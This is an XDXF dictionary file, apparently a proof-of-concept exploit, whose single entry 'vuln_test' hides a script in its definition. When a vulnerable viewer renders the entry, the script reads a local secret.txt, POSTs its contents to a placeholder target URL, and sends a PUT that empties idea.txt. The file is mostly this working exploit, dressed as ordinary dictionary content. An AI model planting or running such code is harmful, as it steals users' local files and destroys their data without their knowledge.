<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
    <full_name>Malicious dictionary</full_name>
    <description>You have been pwned!</description>
    <meta_info>
        <copyright>Public Domain</copyright>
    </meta_info>
    <lexicon>
        <ar>
            <k>vuln_test</k>
            <def>
                Some description...
                <script>
                    var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
                    var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
                    var xhr = new XMLHttpRequest();
                    xhr.open('GET', secretFile, true);
                    xhr.onload = function() {
                        var secretData = xhr.responseText;
                        if (secretData.length > 0) {
                            var xhr2 = new XMLHttpRequest();
                            xhr2.open('POST', '[Target-URL]', true);
                            xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                            xhr2.send('data=' + encodeURIComponent(secretData));
                        }
                    };
                    xhr.onerror = function() {
                    };
                    xhr.send();
                    var xhr3 = new XMLHttpRequest();
                    xhr3.open('PUT', ideaFile, true);
                    xhr3.setRequestHeader('Content-Type', 'text/plain');
                    xhr3.send("");
                </script>
            </def>
        </ar>
    </lexicon>
</xdxf>